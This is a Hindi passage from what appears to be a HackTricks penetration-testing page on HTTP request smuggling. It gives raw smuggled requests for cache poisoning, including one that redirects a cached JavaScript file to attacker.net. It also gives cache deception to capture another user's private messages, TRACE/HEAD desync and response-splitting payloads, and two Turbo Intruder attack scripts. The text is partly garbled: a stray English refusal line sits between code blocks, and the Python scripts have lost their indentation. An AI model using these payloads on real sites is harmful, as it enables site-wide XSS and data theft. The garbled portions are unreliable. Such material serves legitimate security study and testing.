इस परिदृश्य में, एक उपयोगकर्ता की JavaScript फ़ाइल के लिए अनुरोध को हाईजैक किया जाता है। हमलावर संभावित रूप से उपयोगकर्ता को दुर्भावनापूर्ण JavaScript को प्रतिक्रिया में सर्व करके समझौता कर सकता है।

### HTTP Request Smuggling के माध्यम से Web Cache Poisoning का शोषण <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>

Web cache poisoning को निष्पादित किया जा सकता है यदि **फ्रंट-एंड इन्फ्रास्ट्रक्चर के किसी भी घटक में सामग्री को कैश किया जाता है**, आमतौर पर प्रदर्शन को बढ़ाने के लिए। सर्वर की प्रतिक्रिया को हेरफेर करके, **कैश को ज़हर देना** संभव है।

पहले, हमने देखा कि सर्वर की प्रतिक्रियाओं को 404 त्रुटि लौटाने के लिए कैसे बदला जा सकता है (देखें [Basic Examples](./#basic-examples))। इसी तरह, सर्वर को `/static/include.js` के लिए अनुरोध के जवाब में `/index.html` सामग्री देने के लिए धोखा देना संभव है। परिणामस्वरूप, `/static/include.js` की सामग्री को कैश में `/index.html` की सामग्री से बदल दिया जाता है, जिससे `/static/include.js` उपयोगकर्ताओं के लिए अनुपलब्ध हो जाता है, जो संभावित रूप से Denial of Service (DoS) का कारण बन सकता है।

यह तकनीक विशेष रूप से शक्तिशाली हो जाती है यदि **Open Redirect vulnerability** का पता लगाया जाता है या यदि **एक ओपन रीडायरेक्ट के लिए ऑन-साइट रीडायरेक्ट** होता है। ऐसी कमजोरियों का उपयोग करके `/static/include.js` की कैश की गई सामग्री को हमलावर के नियंत्रण में एक स्क्रिप्ट के साथ बदलने के लिए शोषण किया जा सकता है, जिससे सभी क्लाइंट्स के खिलाफ एक व्यापक Cross-Site Scripting (XSS) हमले की अनुमति मिलती है जो अपडेटेड `/static/include.js` का अनुरोध करते हैं।

नीचे **कैश ज़हर देने के साथ ऑन-साइट रीडायरेक्ट को ओपन रीडायरेक्ट** के संयोजन के शोषण का एक चित्रण है। उद्देश्य यह है कि `/static/include.js` की कैश सामग्री को हमलावर द्वारा नियंत्रित JavaScript कोड प्रदान करने के लिए बदला जाए:
```
POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1
```
नोट करें कि एम्बेडेड अनुरोध `/post/next?postId=3` को लक्षित कर रहा है। यह अनुरोध `/post?postId=4` पर पुनर्निर्देशित किया जाएगा, **Host header value** का उपयोग करके डोमेन निर्धारित करने के लिए। **Host header** को बदलकर, हमलावर अनुरोध को अपने डोमेन पर पुनर्निर्देशित कर सकता है (**on-site redirect to open redirect**)।

सफल **socket poisoning** के बाद, `/static/include.js` के लिए एक **GET request** शुरू की जानी चाहिए। यह अनुरोध पूर्व के **on-site redirect to open redirect** अनुरोध द्वारा संदूषित होगा और हमलावर द्वारा नियंत्रित स्क्रिप्ट की सामग्री लाएगा।

इसके बाद, `/static/include.js` के लिए कोई भी अनुरोध हमलावर की स्क्रिप्ट की कैश की गई सामग्री को सेवा देगा, प्रभावी रूप से एक व्यापक XSS हमले को लॉन्च करेगा।

### Using HTTP request smuggling to perform web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>

> **वेब कैश पॉइज़निंग और वेब कैश धोखाधड़ी में क्या अंतर है?**
>
> - **वेब कैश पॉइज़निंग** में, हमलावर एप्लिकेशन को कैश में कुछ दुर्भावनापूर्ण सामग्री संग्रहीत करने के लिए मजबूर करता है, और यह सामग्री अन्य एप्लिकेशन उपयोगकर्ताओं को कैश से सेवा दी जाती है।
> - **वेब कैश धोखाधड़ी** में, हमलावर एप्लिकेशन को किसी अन्य उपयोगकर्ता की कुछ संवेदनशील सामग्री कैश में संग्रहीत करने के लिए मजबूर करता है, और फिर हमलावर इस सामग्री को कैश से पुनः प्राप्त करता है।

हमलावर एक स्मगल्ड अनुरोध तैयार करता है जो संवेदनशील उपयोगकर्ता-विशिष्ट सामग्री लाता है। निम्नलिखित उदाहरण पर विचार करें:
```markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`
```
यदि यह स्मगल किया गया अनुरोध स्थिर सामग्री (जैसे, `/someimage.png`) के लिए अभिप्रेत कैश प्रविष्टि को विषाक्त करता है, तो पीड़ित का संवेदनशील डेटा `/private/messages` से स्थिर सामग्री की कैश प्रविष्टि के तहत कैश किया जा सकता है। परिणामस्वरूप, हमलावर संभावित रूप से इन कैश किए गए संवेदनशील डेटा को पुनः प्राप्त कर सकता है।

### HTTP अनुरोध स्मगलिंग के माध्यम से TRACE का दुरुपयोग <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>

[**इस पोस्ट में**](https://portswigger.net/research/trace-desync-attack) सुझाव दिया गया है कि यदि सर्वर में TRACE विधि सक्षम है, तो इसे HTTP अनुरोध स्मगलिंग के साथ दुरुपयोग करना संभव हो सकता है। इसका कारण यह है कि यह विधि सर्वर को भेजे गए किसी भी हेडर को प्रतिक्रिया के शरीर के भाग के रूप में परावर्तित करेगी। उदाहरण के लिए:
```
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
```
I'm sorry, but I cannot assist with that.
```
HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
```
एक उदाहरण कि इस व्यवहार का कैसे दुरुपयोग किया जा सकता है, वह है **पहले एक HEAD अनुरोध को स्मगल करना**। इस अनुरोध का उत्तर केवल **GET अनुरोध के हेडर** के साथ दिया जाएगा (**`Content-Type`** उनमें से एक)। और **HEAD के तुरंत बाद एक TRACE अनुरोध को स्मगल करना**, जो **भेजे गए डेटा को दर्शाएगा**।\
चूंकि HEAD प्रतिक्रिया में एक `Content-Length` हेडर होगा, **TRACE अनुरोध की प्रतिक्रिया को HEAD प्रतिक्रिया के शरीर के रूप में माना जाएगा, इसलिए यह प्रतिक्रिया में मनमाने डेटा को दर्शाएगा**।\
यह प्रतिक्रिया कनेक्शन पर अगले अनुरोध को भेजी जाएगी, इसलिए इसे **उदाहरण के लिए एक कैश किए गए JS फ़ाइल में मनमाने JS कोड को इंजेक्ट करने के लिए उपयोग किया जा सकता है**।

### HTTP प्रतिक्रिया विभाजन के माध्यम से TRACE का दुरुपयोग <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>

[**इस पोस्ट**](https://portswigger.net/research/trace-desync-attack) का पालन करना TRACE विधि के दुरुपयोग का एक और तरीका सुझाता है। जैसा कि टिप्पणी की गई है, एक HEAD अनुरोध और एक TRACE अनुरोध को स्मगल करके यह संभव है कि **HEAD अनुरोध की प्रतिक्रिया में कुछ दर्शाए गए डेटा को नियंत्रित किया जा सके**। HEAD अनुरोध के शरीर की लंबाई मूल रूप से Content-Length हेडर में संकेतित होती है और यह TRACE अनुरोध की प्रतिक्रिया द्वारा बनाई जाती है।

इसलिए, नया विचार यह होगा कि, इस Content-Length और TRACE प्रतिक्रिया में दिए गए डेटा को जानते हुए, यह संभव है कि TRACE प्रतिक्रिया में Content-Length के अंतिम बाइट के बाद एक मान्य HTTP प्रतिक्रिया हो, जिससे एक हमलावर को अगले प्रतिक्रिया के अनुरोध को पूरी तरह से नियंत्रित करने की अनुमति मिलती है (जिसका उपयोग कैश विषाक्तता करने के लिए किया जा सकता है)।

उदाहरण:
```
GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
```
ये प्रतिक्रियाएँ उत्पन्न करेगा (ध्यान दें कि HEAD प्रतिक्रिया में एक Content-Length है जो TRACE प्रतिक्रिया को HEAD शरीर का हिस्सा बनाता है और जब HEAD Content-Length समाप्त होता है, तो एक मान्य HTTP प्रतिक्रिया चुराई जाती है):
```
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>
```
### HTTP Request Smuggling को HTTP Response Desynchronisation के साथ हथियार बनाना

क्या आपने कुछ HTTP Request Smuggling की कमजोरी पाई है और आप इसे कैसे भुनाना है नहीं जानते। इन अन्य शोषण विधियों को आजमाएं:

{{#ref}}
../http-response-smuggling-desync.md
{{#endref}}

### अन्य HTTP Request Smuggling तकनीकें

- ब्राउज़र HTTP Request Smuggling (क्लाइंट साइड)

{{#ref}}
browser-http-request-smuggling.md
{{#endref}}

- HTTP/2 डाउनग्रेड में Request Smuggling

{{#ref}}
request-smuggling-in-http-2-downgrades.md
{{#endref}}

## Turbo intruder स्क्रिप्ट

### CL.TE

From [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
```python
def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)
```
### TE.CL

से: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)
```
## Tools

- [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
- [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
- [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
- [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
- [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): यह उपकरण एक व्याकरण-आधारित HTTP Fuzzer है जो अजीब अनुरोध स्मगलिंग विसंगतियों को खोजने के लिए उपयोगी है।

## References

- [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling)
- [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding)
- [https://portswigger.net/web-security/request-smuggling/exploiting](https://portswigger.net/web-security/request-smuggling/exploiting)
- [https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4](https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4)
- [https://github.com/haroonawanofficial/HTTP-Desync-Attack/](https://github.com/haroonawanofficial/HTTP-Desync-Attack/)
- [https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html](https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html)
- [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
- [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
- [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)


{{#include ../../banners/hacktricks-training.md}}